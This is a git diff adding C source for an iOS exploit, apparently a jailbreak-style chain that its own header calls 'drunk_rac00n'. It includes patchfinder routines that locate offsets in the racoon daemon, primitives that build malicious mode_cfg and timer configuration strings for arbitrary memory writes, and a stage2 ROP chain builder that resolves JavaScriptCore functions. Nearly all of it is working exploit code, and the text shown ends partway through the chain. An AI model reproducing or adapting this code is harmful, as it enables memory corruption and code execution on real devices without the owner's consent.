insn_ldr_literal_rt(current_instruction) == reg) { + value = *(uint32_t*)(kdata + (((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction))); + } else if (insn_is_movt(current_instruction) && insn_movt_rd(current_instruction) == reg) { + value |= insn_movt_imm(current_instruction) << 16; + } else if (insn_is_add_reg(current_instruction) && insn_add_reg_rd(current_instruction) == reg) { + if (insn_add_reg_rm(current_instruction) != 15 || insn_add_reg_rn(current_instruction) != reg) { + // Can't handle this kind of operation! + return 0; + } + + value += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return value; +} + +// Find PC-relative references to a certain address (relative to kdata). This is basically a virtual machine that only cares about instructions used in PC-relative addressing, so no branches, etc. +static uint16_t* find_literal_ref(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, uint32_t address) { + uint16_t* current_instruction = insn; + uint32_t value[16]; + memset(value, 0, sizeof(value)); + + while ((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) { + if (insn_is_mov_imm(current_instruction)) { + value[insn_mov_imm_rd(current_instruction)] = insn_mov_imm_imm(current_instruction); + } else if (insn_is_ldr_literal(current_instruction)) { + uintptr_t literal_address = (uintptr_t)kdata + ((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction); + if (literal_address >= (uintptr_t)kdata && (literal_address + 4) <= ((uintptr_t)kdata + ksize)) { + value[insn_ldr_literal_rt(current_instruction)] = *(uint32_t*)(literal_address); + } + } else if (insn_is_movt(current_instruction)) { + value[insn_movt_rd(current_instruction)] |= insn_movt_imm(current_instruction) << 16; + } else if (insn_is_add_reg(current_instruction)) { + int reg = insn_add_reg_rd(current_instruction); + if (insn_add_reg_rm(current_instruction) == 15 && insn_add_reg_rn(current_instruction) == reg) { + value[reg] += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + if (value[reg] == address) { + return current_instruction; + } + } + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return NULL; +} + +struct find_search_mask { + uint16_t mask; + uint16_t value; +}; + +// Search the range of kdata for a series of 16-bit values that match the search mask. +static uint16_t* find_with_search_mask(uint32_t region, uint8_t* kdata, size_t ksize, int num_masks, const struct find_search_mask* masks) { + uint16_t* end = (uint16_t*)(kdata + ksize - (num_masks * sizeof(uint16_t))); + uint16_t* cur; + for(cur = (uint16_t*) kdata; cur <= end; ++cur) { + int matched = 1; + int i; + for(i = 0; i < num_masks; ++i) { + if ((*(cur + i) & masks[i].mask) != masks[i].value) { + matched = 0; + break; + } + } + + if (matched) + return cur; + } + + return NULL; +} + +/* + * stolen from CBPatcher + */ +/* Some stuff from https://github.com/kpwn/yalu/blob/master/data/dyldmagic/libxnuexp.m, courtesy of qwertyoruiop */ + +/* Find start of a section in a macho */ +struct section *find_section(struct segment_command *seg, const char *name) +{ + struct section *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section *)((uintptr_t)seg + (uintptr_t)sizeof(struct segment_command)); + i < seg->nsects; + i++, sect = (struct section*)((uintptr_t)sect + sizeof(struct section))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +/* Find start of a load command in a macho */ +struct load_command *find_load_command(struct mach_header *mh, uint32_t cmd) { + struct load_command *lc, *flc; + + lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header)); + + while (1) { + if ((uintptr_t)lc->cmd == cmd) { + flc = (struct load_command *)(uintptr_t)lc; + break; + } + lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize); + } + return flc; +} + +/* Find start of a segment in a macho */ +struct segment_command *find_segment(struct mach_header *mh, const char *segname) { + struct load_command *lc; + struct segment_command *s, *fs = NULL; + lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header)); + while ((uintptr_t)lc < (uintptr_t)mh + (uintptr_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT) { + s = (struct segment_command *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize); + } + return fs; +} + +/* Find offset of an exported symbol in a macho */ +void* find_sym(struct mach_header *mh, const char *name) { + struct segment_command* first = (struct segment_command*) find_load_command(mh, LC_SEGMENT); + struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB); + vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr; + + char* sym_str_table = (char*) (((char*)mh) + symtab->stroff); + struct nlist* sym_table = (struct nlist*)(((char*)mh) + symtab->symoff); + + for (int i = 0; i < symtab->nsyms; i++) { + if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) { + return (void*)(uintptr_t)(sym_table[i].n_value + vmaddr_slide); + } + } + return 0; +} + +uint32_t get_offset_to_binary_of_bytes(uint8_t* bin, + uint32_t bin_len, + uint8_t* what, + uint32_t what_len) { + uint8_t* tmp = memmem(bin, bin_len, what, what_len); + if (tmp == NULL) + return -1; + + return tmp - bin; +} + +#include <stdint.h> + +uint16_t swap_uint16(uint16_t val) { + return (val << 8) | (val >> 8); +} + +uint32_t swap_uint32(uint32_t val) { + val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF); + return (val << 16) | (val >> 16); +} + +uint32_t weird_swap(uint32_t lol) { + return (swap_uint16((lol & 0xffff0000) >> 16) << 16) | swap_uint16(lol & 0xffff); +} + +uint16_t get_movw_arg(uint32_t movw) { + /* + * garbage + */ + uint32_t arg = 0; + uint32_t movw_just_arg = weird_swap(movw); + arg |= (movw_just_arg & 0xff) << 0; + arg |= ((movw_just_arg & 0x7000) >> 12) << 8; + arg |= ((movw_just_arg & 0xf0000) >> 16) << 12; + arg |= ((movw_just_arg & 0x4000000) >> 26) << 11; + + return arg; +} + +uint32_t find_dns4_offset(uint32_t region, + uint8_t* bin, + size_t size) { + char* sysctl_arg = "net.inet.ipsec.esp_port"; + char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg)); + uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin); + uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy); + uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin); + uint32_t ref_to_dns4; + uintptr_t the_movw; + for (int i = 0; i < 0x100; i++) { + uintptr_t test_me = (uintptr_t)ref_ptr; + test_me += i; + if (insn_is_movt((uint16_t*)test_me)) { + the_movw = (uintptr_t)ref_ptr; + the_movw += i; + the_movw -= 4; + break; + } +// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) { +// ref_to_dns4 = ref + (i - 2); +// break; +// } + } + + uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin); + + uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw); + uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4)); + uint32_t movw_arg = get_movw_arg(movw_raw); + uint32_t movt_arg = get_movw_arg(movt_raw); + + uint32_t offset_to_pc = (movt_arg << 16) | movw_arg; + uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8); + uint32_t ref_dns4_offset = offset_to_pc + pc + 0x4; + + uint32_t autism = ref_dns4_offset; +// printf("0x%08x\n", autism); + + return *(uint32_t*)(bin + autism) + 0x8; +} + +uint32_t find_lc_conf_offset(uint32_t region, + uint8_t* bin, + size_t size) { + char* sysctl_arg = "net.inet.ipsec.esp_port"; + char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg)); + uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin); + uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy); + uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin); + uint32_t ref_to_dns4; + uintptr_t the_movw; + for (int i = 0; i < 0x100; i++) { + uintptr_t test_me = (uintptr_t)ref_ptr; + test_me += i; + if (insn_is_movt((uint16_t*)test_me)) { + the_movw = (uintptr_t)ref_ptr; + the_movw += i; + the_movw -= 4; + break; + } +// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) { +// ref_to_dns4 = ref + (i - 2); +// break; +// } + } + + uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin); + + uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw); + uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4)); + uint32_t movw_arg = get_movw_arg(movw_raw); + uint32_t movt_arg = get_movw_arg(movt_raw); + + uint32_t offset_to_pc = (movt_arg << 16) | movw_arg; + uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8); + uint32_t ref_dns4_offset = offset_to_pc + pc + 0x8; + + uint32_t autism = ref_dns4_offset; +// printf("0x%08x\n", autism); + + return *(uint32_t*)(bin + autism); +} + +uint32_t find_printf_addr(uint32_t region, + uint8_t* bin, + size_t size) { + char* usage_racoon_str = "usage: racoon"; + uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str)); + uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset); + uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin); + uintptr_t the_blx; + for (int i = 0; i < 0x100; i += 2) { + uintptr_t test_me = (uintptr_t)usage_ref; + test_me += i; + if (insn_is_bl((uint16_t*)test_me)) { + the_blx = (uintptr_t)usage_ref; + the_blx += i; + break; + } + } + + uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 8 + 0x4000; + + return printf_symbolstub_addr; +} + +uint32_t find_puts_addr(uint32_t region, + uint8_t* bin, + size_t size) { + char* usage_racoon_str = "usage: racoon"; + uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str)); + uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset); + uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin); + uintptr_t the_blx; + int count = 0; + for (int i = 0; i < 0x100; i += 2) { + uintptr_t test_me = (uintptr_t)usage_ref; + test_me += i; + if (insn_is_bl((uint16_t*)test_me)) { + the_blx = (uintptr_t)usage_ref; + the_blx += i; + usage_ref_addr = (void*)the_blx - (void*)bin; + count++; + if (count == 2) + break; + } + } + + uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 4 + 0x4000; + + return printf_symbolstub_addr; +} + +void sandbox(uint32_t region, + uint8_t* bin, + size_t size) { + // +}
\ No newline at end of file diff --git a/src/patchfinder.h b/src/patchfinder.h new file mode 100755 index 0000000..21af7e3 --- /dev/null +++ b/src/patchfinder.h @@ -0,0 +1,14 @@ +#ifndef PATCHFINDER_H +#define PATCHFINDER_H + +#include <stdint.h> + +uint32_t find_dns4_offset(uint32_t region, + uint8_t* bin, + size_t size); + +uint32_t find_lc_conf_offset(uint32_t region, + uint8_t* bin, + size_t size); + +#endif
\ No newline at end of file diff --git a/src/shit.c b/src/shit.c new file mode 100644 index 0000000..ef354d4 --- /dev/null +++ b/src/shit.c @@ -0,0 +1,32 @@ +#include <stdarg.h>
+#include "common.h"
+#include <stdio.h>
+#include "shit.h"
+
+extern FILE* fp;
+
+int _asprintf(char **strp, const char *fmt, ...) {
+ va_list ap;
+ char* tmp = NULL;
+
+ *strp = "";
+
+ /*
+ * shit
+ */
+
+ va_start(ap, fmt);
+ vfprintf(fp, fmt, ap);
+ va_end(ap);
+
+#if 0
+ strcpy(fuck_memory_leaks, tmp);
+
+ if (strp)
+ *strp = fuck_memory_leaks;
+
+ free(tmp);
+#endif
+
+ return 0;
+}
\ No newline at end of file diff --git a/src/shit.h b/src/shit.h new file mode 100644 index 0000000..d97a995 --- /dev/null +++ b/src/shit.h @@ -0,0 +1,6 @@ +#ifndef SHIT_H
+#define SHIT_H
+
+int _asprintf(char **strp, const char *fmt, ...);
+
+#endif
\ No newline at end of file diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c new file mode 100755 index 0000000..b54cb1a --- /dev/null +++ b/src/stage0_primitives.c @@ -0,0 +1,46 @@ +/* + * stage0_primitives + */ + +#include <stdint.h> +#include <stdio.h> + +#include "stage0_primitives.h" +#include "ip_tools.h" +#include "common.h" +#include <string.h> +#include "shit.h" + +//#define DNS4_OFFSET 0xb6c10 + +char* write32_slid(uint32_t where, + uint32_t what) { + char* where_ip = NULL; + char* what_ip = NULL; + char* ret = NULL; + + uint32_t where_ = where - DNS4_OFFSET; + where_ >>= 2; + where_ += 0x80000000; + + where_ip = uint32_t_to_ip(where_); + what_ip = uint32_t_to_ip(what); + + asprintf(&ret, "mode_cfg{" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins4255.255.255.255;" + "wins4%s;" + "dns4%s;" + "}", + where_ip, + what_ip); + + strcpy(fuck_memory_leaks, ret); + + free(ret); + + return fuck_memory_leaks; +}
\ No newline at end of file diff --git a/src/stage0_primitives.h b/src/stage0_primitives.h new file mode 100755 index 0000000..a9a71eb --- /dev/null +++ b/src/stage0_primitives.h @@ -0,0 +1,10 @@ +#ifndef STAGE0_PRIMITIVES_H +#define STAGE0_PRIMITIVES_H + +#include <stdint.h> + +extern uint32_t DNS4_OFFSET; +char* write32_slid(uint32_t where, + uint32_t what); + +#endif
\ No newline at end of file diff --git a/src/stage1_primitives.c b/src/stage1_primitives.c new file mode 100755 index 0000000..ffe7b53 --- /dev/null +++ b/src/stage1_primitives.c @@ -0,0 +1,168 @@ +/* + * stage1_primitives + */ + +#include <stdint.h> +#include <stdio.h> + +#include "stage1_primitives.h" +#include "stage0_primitives.h" +#include "ip_tools.h" +#include "common.h" +#include <string.h> +#include "shit.h" + +//#define LC_CONF_OFFSET 0xb6088 + +extern FILE* fp; + +char* write32_unslid(uint32_t where, + uint32_t what) { + char* ret = ""; + _asprintf(&ret, + "%s%s", + ret, + write32_slid(LC_CONF_OFFSET, + where - 0xa0)); + _asprintf(&ret, + "%s" + "timer{" + "counter%u;" + "}", + ret, + what); + + return ret; +} + +char* write32_unslid_pre(uint32_t where) { + char* ret = ""; + _asprintf(&ret, + "%s%s", + ret, + write32_slid(LC_CONF_OFFSET, + where - 0xa0)); + return ret; +} + +char* writebuf_old_unslid(uint32_t where, + char* what, + uint32_t len) { + char* ret = ""; + uint32_t* lol = (uint32_t*)what; + + while (((void*)lol - (void*)what) < len) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(where + ((void*)lol - (void*)what))); + + /* + * i make an exception for 80 cols here + */ + + _asprintf(&ret, "%stimer{", ret); + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; } + + _asprintf(&ret, + "%s}", + ret); + } + + strcpy(fuck_memory_leaks, ret); + + free(ret); + + return fuck_memory_leaks; + + return ret; +} + +char* writebuf_unslid(uint32_t where, + char* what, + uint32_t len) { + char* ret = ""; + uint32_t* lol = (uint32_t*)what; + +#if 0 + for (uint32_t here = where; here < where + len; here++) { + asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(here)); + + asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here - where))); + } +#endif + +#if 1 + while (((void*)lol - (void*)what) < len) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(where + ((void*)lol - (void*)what))); + + /* + * i make an exception for 80 cols here + */ + + _asprintf(&ret, "%stimer{", ret); + + + /* + * this is so fucking ugly + */ + if ((((*lol) & 0x80000000) >> 31) == 1) { +lol: + _asprintf(&ret, + "%s}", + ret); + + for (uint32_t here = ((void*)lol - (void*)what); here < ((void*)lol - (void*)what) + 4; here++) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(here + where)); + _asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here))); + } + + lol++; + continue; + } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; } + + _asprintf(&ret, + "%s}", + ret); + } +#endif + + return ret; +} diff --git a/src/stage1_primitives.h b/src/stage1_primitives.h new file mode 100755 index 0000000..d6b9c33 --- /dev/null +++ b/src/stage1_primitives.h @@ -0,0 +1,19 @@ +#ifndef STAGE1_PRIMITIVES_H +#define STAGE1_PRIMITIVES_H + +#include <stdint.h> + +extern uint32_t LC_CONF_OFFSET; + +char* write32_unslid(uint32_t where, + uint32_t what); + +char* writebuf_old_unslid(uint32_t where, + char* what, + uint32_t len); + +char* writebuf_unslid(uint32_t where, + char* what, + uint32_t len); + +#endif
\ No newline at end of file diff --git a/src/stage2.c b/src/stage2.c new file mode 100644 index 0000000..4297e79 --- /dev/null +++ b/src/stage2.c @@ -0,0 +1,400 @@ +/* + * drunk_rac00n + * + * we call this "ROP" round these parts + * steal everything, kill everyone, cause total financial ruin. + * + * this exploit is seriously garbage, but gawd damnit it exploits the thing + * + * hax + */ + +#include <mach-o/dyld.h> +#include "stage2.h" +#include <stdint.h> +#include <stdlib.h> +#include <syslog.h> +#include <dlfcn.h> +#include <stdio.h> + +#define MOV_R0(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ +} while (0) + +#define CALL(what) do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ + chain[chain_len++] = base + nulls_addr; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + blx_r5; \ +} while (0) + +#define CALL_1ARG(what, arg) do { \ + MOV_R0(arg); \ + CALL(what); \ +} while (0) + +#define STR_R0(where) do { \ + chain[chain_len++] = where; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + str_r0_r4; \ + chain[chain_len++] = where; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define MOV_R1_R0() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r1_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define DEREF_IN_R0(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define DEREF_R0() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define MOV_R1(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r1_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define ADD_R0_R1() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + add_r0_r1; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define CALL_4_ARG_L2_0(what, arg1, arg2) do { \ + MOV_R0(0); \ + STR_R0(base + reserve_addr + 0x40000); \ + MOV_R0(base + weird_r3); \ + STR_R0(base + reserve_addr + 0x4014); \ + MOV_R0(base + reserve_addr + 0x4000); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = arg2; \ + chain[chain_len++] = base + reserve_addr + 0x40000; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + other_weird_r3; \ + MOV_R0(arg1); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ +} while (0) \ + +#define CALL_4_PTRARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(arg1); \ + STR_R0(stack_base + (chain_len * 4) + 520); \ + DEREF_IN_R0(arg2); \ + STR_R0(stack_base + (chain_len * 4) + 340); \ + MOV_R0(0); \ + STR_R0(base + reserve_addr + 0x40000); \ + MOV_R0(base + weird_r3); \ + STR_R0(base + reserve_addr + 0x4014); \ + MOV_R0(base + reserve_addr + 0x4000); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = 0x32323232; \ + chain[chain_len++] = base + reserve_addr + 0x40000; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + other_weird_r3; \ + MOV_R0(0x31313131); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = base + nop; \ +} while (0) \ + +#define CALL_SLID_4_ARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ + STR_R0(stack_base + (chain_len * 4) + 392); \ + CALL_4_ARG_L2_0(0x12345678, arg1, arg2); \ +} while (0) + +#define CALL_SLID(what) do { \ + STR_R0(base + reserve_addr + 444); \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ + STR_R0(base + reserve_addr + 448); \ + MOV_R1(0); \ + DEREF_IN_R0(base + reserve_addr + 448); \ + STR_R0(stack_base + (chain_len * 4) + 96 + (18 * 4)); \ + DEREF_IN_R0(base + reserve_addr + 444); \ + CALL(0x1234567c); \ +} while (0) + +#define CALL_SLID_4_PTRARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ +/* MOV_R1_R0(); \ + CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); \ +*/ STR_R0(stack_base + (chain_len * 4) + 720); \ + CALL_4_PTRARG_L2_0(0x12345679, arg1, arg2); \ +} while (0) + +#define PRINT_STILL_HERE() do { \ +/* CALL_1ARG(base + printf_addr, 0x109000); */\ +} while (0) + +uintptr_t get_dyld_shc_slide(void) { + return _dyld_get_image_vmaddr_slide(1); +} + +uintptr_t get_dyld_shc_sym_addr(char* sym) { + return dlsym(RTLD_DEFAULT, sym) - get_dyld_shc_slide(); +} + +rop_chain_shit gen_rop_chain(uint32_t base, + uint32_t we_out_here_addr, + uint32_t mov_r0, + uint32_t puts_addr, + uint32_t blx_r5, + uint32_t nulls_addr, + uint32_t malloc_addr, + uint32_t mov_r1_r0, + uint32_t nop, + uint32_t malloc_status_addr, + uint32_t printf_addr, + uint32_t exit_addr, + uint32_t str_r0_r4, + uint32_t reserve_addr, + uint32_t ldr_r0_r0, + uint32_t add_r0_r1, + uint32_t stack_base, + uint32_t dyld_shc_base_status, + uint32_t scprefcreate_dsc_offset, + uint32_t scprefcreate_lazy_offset, + uint32_t weird_r3, + uint32_t other_weird_r3) { + /* + * to quote qwertyoruiop: + * ROP Insanity. + * + * Message to security researchers, feds and apple employees: + * + * If you want to understand this, you have to hit a blunt. + * I don't care if you're at work. Roll a fat one and smoke it. Right now. + * + * If your boss questions this, feel free to tell him to contact me. I'll explain how crucial THC is for this shit. + */ + + /* + * this is definitely overkill + */ + uint32_t* chain = (uint32_t*)calloc(0x100000, sizeof(uint32_t)); + uint32_t chain_len = 0; + + rop_chain_shit chain_b0i = (rop_chain_shit)malloc(sizeof(struct rop_chain_shit_t)); + + /* output "intro" string */ + CALL_1ARG(base + puts_addr, base + we_out_here_addr); + +// CALL_4_ARG_L2_0(base + 0x9ad8c, LOG_SYSLOG, base + we_out_here_addr); + + /* allocate memory for file read later */ + CALL_1ARG(base + malloc_addr, 0x100000); + STR_R0(base + reserve_addr); + MOV_R1_R0(); + + /* output malloc string */ + CALL_1ARG(base + printf_addr, base + malloc_status_addr); + + /* calculate dyld_shared_cache slide */ + MOV_R0(0 - (0x20000000 + scprefcreate_dsc_offset)); + MOV_R1_R0(); + DEREF_IN_R0(base + scprefcreate_lazy_offset); + ADD_R0_R1(); + STR_R0(base + reserve_addr + 20); + + /* calculate dyld_shared_cache slide */ + MOV_R0(0 - (scprefcreate_dsc_offset)); + MOV_R1_R0(); + DEREF_IN_R0(base + scprefcreate_lazy_offset); + ADD_R0_R1(); + STR_R0(base + reserve_addr + 16); + + /* print the status string */ + MOV_R1_R0(); + CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); + +// uint32_t slid_b0i = 0x2b14000; + + uint32_t JSContextGroupCreate = get_dyld_shc_sym_addr("JSContextGroupCreate"); + uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr("JSGlobalContextCreateInGroup"); + uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr("JSContextGetGlobalObject"); + uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr("JSStringCreateWithUTF8CString"); + uint32_t JSEvaluateScript = get_dyld_shc_sym_addr("JSEvaluateScript"); + uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym"); + + MOV_R0(dlsym_); + STR_R0(base + reserve_addr + 24); + +// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday"); + +// fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, stime); + +/* + MOV_R0(0); + STR_R0(base + 0x140000); + STR_R0(base + 0x140004); + + MOV_R0(0); + MOV_R1_R0(); + MOV_R0(base + 0x140000); + CALL_SLID(settimeofday); + */ + + PRINT_STILL_HERE(); + CALL_SLID(JSContextGroupCreate); + STR_R0(base + reserve_addr + 0x40); + MOV_R1_R0(); + 